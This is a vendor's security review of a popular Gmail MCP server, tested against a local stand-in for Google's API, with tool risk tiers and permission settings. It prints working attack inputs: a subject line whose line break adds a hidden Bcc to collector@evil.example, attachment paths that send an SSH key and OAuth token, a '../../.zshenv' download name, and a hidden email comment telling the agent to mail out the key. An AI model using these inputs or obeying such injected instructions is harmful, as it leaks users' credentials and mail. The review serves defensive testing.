Gmail MCP server: how a subject line added a hidden Bcc, which tools send and delete, and how to make your agent ask
All 19 tools of @gongrzhe/server-gmail-autoauth-mcp 1.1.11, the most-installed Gmail MCP server, checked by running it on this machine against a local stand-in for Google's API that recorded every request, never a real mailbox: how a line break in the subject added a hidden Bcc, which local files it attaches, where a sender's file name made a download land, how one call forwards or archives every future email, and the Claude Code settings that make the rest ask.
Checked on by running @gongrzhe/server-gmail-autoauth-mcp 1.1.11 (npm, run on Node 24, MCP SDK 0.4.0) from @gongrzhe/server-gmail-autoauth-mcp and reading its tools/list answer. Each tier is the tool risk checker’s reading, with our reason wherever we changed it. Written by the people who make VariantGate.
The short answer
It sends, deletes for good, forwards and archives through filters, and writes attachments anywhere, it has no read-only mode, and a line break in a subject adds a hidden Bcc. Let only the label and filter lists run unasked, make every send, delete, filter and download ask, and read the subject and attachment list before you approve a send.
- Can run on their own
- 3
- Should ask a person
- 16
Lethal trifecta: On its own this server can read private data, take in content other people wrote and send data out: all three legs of the lethal trifecta. Check your whole setup
Which Gmail server this is
This page is about @gongrzhe/server-gmail-autoauth-mcp on npm, the Gmail MCP server most people install: about 17,000 downloads a week in late November 2026. We ran 1.1.11, the latest release, on Node 24. It never reached a real mailbox. We pointed it at a proxy on this machine that answered like Google’s API, using a certificate from our own test authority and made-up OAuth keys, so we saw exactly what each tool would send, but not what Gmail would then do with it.
Nineteen tools, and no hints
It sends, drafts, reads and searches mail, changes and deletes messages one at a time or in batches, manages labels and filters, and downloads attachments. None of its tools carries a read-only or destructive hint, so a client cannot tell a search from a permanent delete by the hints. There is no read-only mode: its sign-in step always asks Google for gmail.modify and gmail.settings.basic, which cover sending mail and changing filters.
A line break in the subject added a hidden Bcc
Without attachments, the server writes the message headers itself and puts the subject in as given. Plain text with a line break in it becomes a second header:
send_email to: ["alice@example.com"]
subject: "Quarterly numbers\r\nBcc: collector@evil.example"
body: "See attached."
From: me
To: alice@example.com
Subject: Quarterly numbers
Bcc: collector@evil.example
MIME-Version: 1.0The to addresses are checked against a simple pattern, but cc and bcc are not: a cc of not an address, a line break and X-Injected: yes went out as two headers. With an attachment the message is built by nodemailer instead, and the same subject stayed on one line, so the attachment path is the only one that held.
It attaches any file the agent can read
attachments takes paths on this machine, and the only check is that the file exists:
send_email to: ["alice@example.com"]
subject: "Report"
attachments: ["~/.ssh/id_ed25519",
"~/.gmail-mcp/credentials.json"]
Content-Disposition: attachment; filename=id_ed25519
Content-Disposition: attachment; filename=credentials.jsonBoth files went out with the email, the second one holding the server’s own refresh token. draft_email does the same and leaves the draft in your mailbox. Before approving a send, read the attachment list as carefully as the address.
A sender’s file name chose where a download landed
download_attachment writes to savePath, the current folder by default, and makes the folder if it does not exist. With no filename it uses the name the email gave the attachment, and does not check it:
read_email messageId: "m1"
Attachments (1):
- ../../.zshenv (application/x-sh, 0 KB, ID: att1)
download_attachment messageId: "m1" attachmentId: "att1"
Saved to: …/gmail/.zshenv (the server ran in …/gmail/work/inbox)A file that is already there is overwritten without a word. A file named like a shell startup file, written into your home folder, runs the next time you open a terminal.
One call acts on every future email
create_filter sends the criteria and actions as written, a forward address included; Google’s docs say forwarding only works to an address the account has already verified. The templates are quieter but last as long:
create_filter_from_template template: "fromSender"
parameters: {"senderEmail": "security@google.com", "archive": true}
POST /gmail/v1/users/me/settings/filters
{"criteria":{"from":"security@google.com"},
"action":{"addLabelIds":[],"removeLabelIds":["INBOX"]}}From then on, mail from that address skips the inbox. Check list_filters now and then for filters you did not make.
Deletes skip the Trash
delete_email sends DELETE for the message, and batch_delete_emails sends one per id, batchSize at a time, with no read first. Google’s reference says this delete is permanent and needs full mail access (https://mail.google.com/), which the server’s own sign-in does not ask for, so with its own token Google should refuse it. With a token that has full access, it deletes for good. To throw mail away, modify_email with the TRASH label moves it to the Trash instead.
What the reads return
read_emailreturns the whole body as written. A hidden HTML comment asking the agent to email~/.ssh/id_ed25519elsewhere reached the model unmarked, and the attachment list next to it showed the../../.zshenvname as sent.search_emailsreturns the subject, sender and date of each match, up to ten unless the model asks for more.- Message ids are escaped:
../../settings/filtersas an id stayed inside the message path.
We saw no telemetry: started and asked for its tools, it made no request at all, and every later request went to Google’s API.
Its sign-in step and where the keys live
$ npx @gongrzhe/server-gmail-autoauth-mcp auth
$ lsof -iTCP:3000 -sTCP:LISTEN
node … TCP *:3000 (LISTEN)
$ ls -l ~/.gmail-mcp
-rw-r--r-- credentials.json
-rw-r--r-- gcp-oauth.keys.jsonWhile signing in it listens on port 3000 on every network interface, and the Google link it opens carries no state value, so it accepted the first code sent to it. The refresh token is saved with mode 644, readable by every user on the machine. And when it starts in a folder that holds a gcp-oauth.keys.json, it copies that file over your own keys without asking and says so on standard output, the channel MCP messages travel on. Claude Code starts it in your project folder, so a cloned repository can do that.
A safer setup
Sign in once on a machine nobody else uses, then make the saved files private with chmod 600 ~/.gmail-mcp/*. Use a Google account made for the agent rather than your own where you can, since sign-in codes and reset links arrive by mail. Add the server at the version checked here:
claude mcp add gmail -- npx -y @gongrzhe/server-gmail-autoauth-mcp@1.1.11Its 19 tools
Hard to undo4 toolsAsk a person every time. Consider two people, or deny it if the agent never needs it.
delete_emailPermanently deletes an email.
Server gives no read-only or destructive hint
Our call: Sent DELETE /gmail/v1/users/me/messages/<id> with no read first. Google's reference says this skips the Trash and cannot be undone, and needs full mail access, more than the server's own sign-in asks for.
batch_delete_emailsPermanently deletes multiple emails in batches.
Server gives no read-only or destructive hint
Our call: Sent one DELETE per id, batchSize at a time, with no read first: five ids went out as five permanent deletes. Google's reference says this call skips the Trash and cannot be undone.
delete_labelDeletes a Gmail label.
Server gives no read-only or destructive hint
Our call: Read the label to refuse system labels, then sent DELETE for it. Gmail removes the label from every message that had it, and putting it back does not put it back on those messages.
download_attachmentDownloads an email attachment to a specified location.
Server gives no read-only or destructive hint
Our call: Writes the attachment anywhere the model names, making folders as needed and overwriting what is there. With no file name given it used the sender's: an attachment called ../../.zshenv was written two folders up from where it was meant to go.
Reaches people2 toolsAsk a person: once it reaches someone, it cannot be unsent.
send_emailSends a new email.
Server gives no read-only or destructive hint
Our call: Built the message itself and sent it with POST /gmail/v1/users/me/messages/send, with no draft or read first. A subject of Quarterly numbers, a line break and Bcc: collector@evil.example came out as a second header, a hidden Bcc. Any file path the model lists, ~/.ssh/id_ed25519 included, goes out as an attachment.
create_filterCreates a new Gmail filter with custom criteria and actions.
Server gives no read-only or destructive hint
Our call: Sent the criteria and actions as written to Gmail's filter settings, a forward address included. The filter then acts on every future email that matches, with no agent in the loop. Google's docs say forwarding needs an address the account has already verified.
Not sure2 toolsAsk a person until you have checked what it does.
read_emailRetrieves the content of a specific email.
Server gives no read-only or destructive hint
Our call: Returns the whole message as written. A hidden HTML comment in our stand-in's email, asking the agent to send ~/.ssh/id_ed25519 to another address, reached the model unmarked. Mail also carries sign-in codes and password-reset links.
search_emailsSearches for emails using Gmail search syntax.
Server gives no read-only or destructive hint
Our call: Returns the subject, sender and date of up to ten matches unless the model asks for more, never the body. Subjects come back as written, and some services put a sign-in code in the subject.
Changes data8 toolsAsk a person. Once it is routine, a standing rule can answer.
draft_emailDraft a new email.
Server gives no read-only or destructive hint
Our call: Built the message like send_email and stored it with POST /gmail/v1/users/me/drafts. The draft stays in your mailbox, any local files the model listed attached, waiting for someone to press send.
modify_emailModifies email labels (move to different folders).
Server gives no read-only or destructive hint
Our call: Sent the labels to add and remove as written. Adding TRASH and removing INBOX moved the message to the Trash; it can be put back from there for 30 days.
batch_modify_emailsModifies labels for multiple emails in batches.
Server gives no read-only or destructive hint
Our call: Sent one modify request per id with the same labels. Removing INBOX from many messages at once archives them all; it can be undone, but only if someone notices.
create_labelCreates a new Gmail label.
Server gives no read-only or destructive hint
Our call: Sent one request to Gmail's labels endpoint with the name the model chose. Labels can be put back, but filters and people that look for a label by name stop finding it after a rename.
update_labelUpdates an existing Gmail label.
Server gives no read-only or destructive hint
Our call: Sent one request to Gmail's labels endpoint with the name the model chose. Labels can be put back, but filters and people that look for a label by name stop finding it after a rename.
get_or_create_labelGets an existing label by name or creates it if it doesn't exist.
Server gives no read-only or destructive hint
Our call: Sent one request to Gmail's labels endpoint with the name the model chose. Labels can be put back, but filters and people that look for a label by name stop finding it after a rename.
delete_filterDeletes a Gmail filter.
Server gives no read-only or destructive hint
Our call: Sent one DELETE for the filter id with no read first, so the model never sees what the filter did before it is gone.
create_filter_from_templateCreates a filter using a pre-defined template for common scenarios.
Server gives no read-only or destructive hint
Our call: The fromSender template with archive: true sent a filter that removes INBOX from every future email from security@google.com. One call hides a sender's mail from the inbox for good, until someone deletes the filter.
Only looks3 toolsLet it run. It only looks.
list_email_labelsRetrieves all available Gmail labels.
Server gives no read-only or destructive hint
Our call: Sent one GET for /gmail/v1/users/me/labels and returned each label's id and name. It takes no arguments.
list_filtersRetrieves all Gmail filters.
Server gives no read-only or destructive hint
Our call: Sent one GET for the account's filters and returned their criteria and actions. It changes nothing.
get_filterGets details of a specific Gmail filter.
Server gives no read-only or destructive hint
Our call: Sent one GET for the filter and returned its criteria and actions, a forward address included. It changes nothing.
Let the reads run in Claude Code
Claude Code asks before every MCP tool it has no rule for. Added as gmail, this server’s tools are named mcp__gmail__<tool>. These allow rules, in .claude/settings.json or ~/.claude/settings.json, let the tools that only look run without a prompt. Everything else keeps asking, including any tool a later version of the server adds.
{
"permissions": {
"allow": [
"mcp__gmail__list_email_labels",
"mcp__gmail__list_filters",
"mcp__gmail__get_filter"
]
}
}The command that adds the server:
claude mcp add gmail -- npx -y @gongrzhe/server-gmail-autoauth-mcp@1.1.11Send the rest to a person, not the terminal
A prompt in the terminal only works while someone is watching it. With this hook, every other tool of the server becomes a request in your VariantGate inbox, on your phone or in Slack, and Claude Code waits for the answer. The matcher names the look-only tools, so a tool added later is sent too. Put the key in VARIANTGATE_KEY, or run the one-command setup for Claude Code first.
{
"hooks": {
"PreToolUse": [
{
"matcher": "mcp__gmail__(?!(list_email_labels|list_filters|get_filter)$).*",
"hooks": [
{ "type": "command", "command": "variantgate hook claude-code", "timeout": 180 }
]
}
]
}
}Disagree with a tier, or run the server with other flags? Open these tools in the tool risk checker, change what you like, and copy the settings for your own setup. It runs in your browser and starts from its own reading, so a tool we marked as only looking by hand asks there until you change it.
Set it up in Cursor, VS Code, Codex, Gemini CLI and other clients
The same server as the claude mcp add line above, written the way each client reads it, for Claude Desktop, Cursor, VS Code, Windsurf, Codex, Gemini CLI, Cline and Zed. Cursor and VS Code add it in one click: the app shows the settings and asks before it saves them. Set up like this, every tool runs as soon as the model calls it; the next section puts a person in front of the ones that change things. Running it with other flags? Convert your own settings.
claude_desktop_config.json{
"mcpServers": {
"gmail": {
"command": "npx",
"args": [
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}~/.cursor/mcp.json or .cursor/mcp.json{
"mcpServers": {
"gmail": {
"command": "npx",
"args": [
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}.vscode/mcp.json{
"servers": {
"gmail": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}~/.codeium/windsurf/mcp_config.json{
"mcpServers": {
"gmail": {
"command": "npx",
"args": [
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}~/.codex/config.toml[mcp_servers.gmail]
command = "npx"
args = ["-y", "@gongrzhe/server-gmail-autoauth-mcp@1.1.11"]~/.gemini/settings.json{
"mcpServers": {
"gmail": {
"command": "npx",
"args": [
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}cline_mcp_settings.json (Configure MCP Servers){
"mcpServers": {
"gmail": {
"command": "npx",
"args": [
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}~/.config/zed/settings.json{
"context_servers": {
"gmail": {
"command": "npx",
"args": [
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}- Add context_servers next to your other settings in the same file.
Any MCP client: put the proxy in front
Claude Desktop, Cursor and most other MCP clients have no hook to send a call to a person. The VariantGate MCP proxy does it in the server’s place: it starts the server, lets the look-only tools above through, and holds every other call until someone approves it in the inbox. Run npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz login once to save a key, then use the settings for your client:
claude_desktop_config.json{
"mcpServers": {
"gmail": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"gmail",
"--look-only",
"list_email_labels,list_filters,get_filter",
"--",
"npx",
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}~/.cursor/mcp.json or .cursor/mcp.json{
"mcpServers": {
"gmail": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"gmail",
"--look-only",
"list_email_labels,list_filters,get_filter",
"--",
"npx",
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}.vscode/mcp.json{
"servers": {
"gmail": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"gmail",
"--look-only",
"list_email_labels,list_filters,get_filter",
"--",
"npx",
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}~/.codeium/windsurf/mcp_config.json{
"mcpServers": {
"gmail": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"gmail",
"--look-only",
"list_email_labels,list_filters,get_filter",
"--",
"npx",
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}~/.codex/config.toml[mcp_servers.gmail]
command = "npx"
args = ["-y", "https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz", "mcp-proxy", "--name", "gmail", "--look-only", "list_email_labels,list_filters,get_filter", "--", "npx", "-y", "@gongrzhe/server-gmail-autoauth-mcp@1.1.11"]~/.gemini/settings.json{
"mcpServers": {
"gmail": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"gmail",
"--look-only",
"list_email_labels,list_filters,get_filter",
"--",
"npx",
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}cline_mcp_settings.json (Configure MCP Servers){
"mcpServers": {
"gmail": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"gmail",
"--look-only",
"list_email_labels,list_filters,get_filter",
"--",
"npx",
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}~/.config/zed/settings.json{
"context_servers": {
"gmail": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"gmail",
"--look-only",
"list_email_labels,list_filters,get_filter",
"--",
"npx",
"-y",
"@gongrzhe/server-gmail-autoauth-mcp@1.1.11"
]
}
}
}- Add context_servers next to your other settings in the same file.
Already have it in Claude Desktop? One command rewrites the file for you, with these look-only tools filled in, and keeps the old one (setup vscode does the same for VS Code; how it works):
npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz setup claude-desktopThe same in Claude Code, instead of the hook. The proxy now asks about every call that matters, so an allow rule for the whole server, mcp__gmail, keeps Claude Code from asking a second time in the terminal:
claude mcp add gmail -- npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz mcp-proxy --name gmail --look-only list_email_labels,list_filters,get_filter -- npx -y @gongrzhe/server-gmail-autoauth-mcp@1.1.11Claude Code’s allow rules match a tool’s name, never its arguments, so a rule cannot tell a harmless call of these tools from a risky one. If the mailbox never gets sign-in codes or password-reset links, such as a shared support inbox, and you accept that anyone who can email it can write text the model will read, these rules also let search_emails, read_email run unasked:
{
"permissions": {
"allow": [
"mcp__gmail__list_email_labels",
"mcp__gmail__list_filters",
"mcp__gmail__get_filter",
"mcp__gmail__search_emails",
"mcp__gmail__read_email"
]
}
}When the agent should send
Keep sends, deletes, filters and downloads on ask. Before saying yes to a send, check the subject for \r or \n, the cc and bcc lists, and every attachment path. For a filter, read the action: a forward, an archive or a mark-as-read changes what you see from then on. For a download, give it a folder and a file name yourself.
See it before you decide.
The playground runs the whole approval loop in your browser, no account needed. When it fits, the free plan covers 100 requests a month.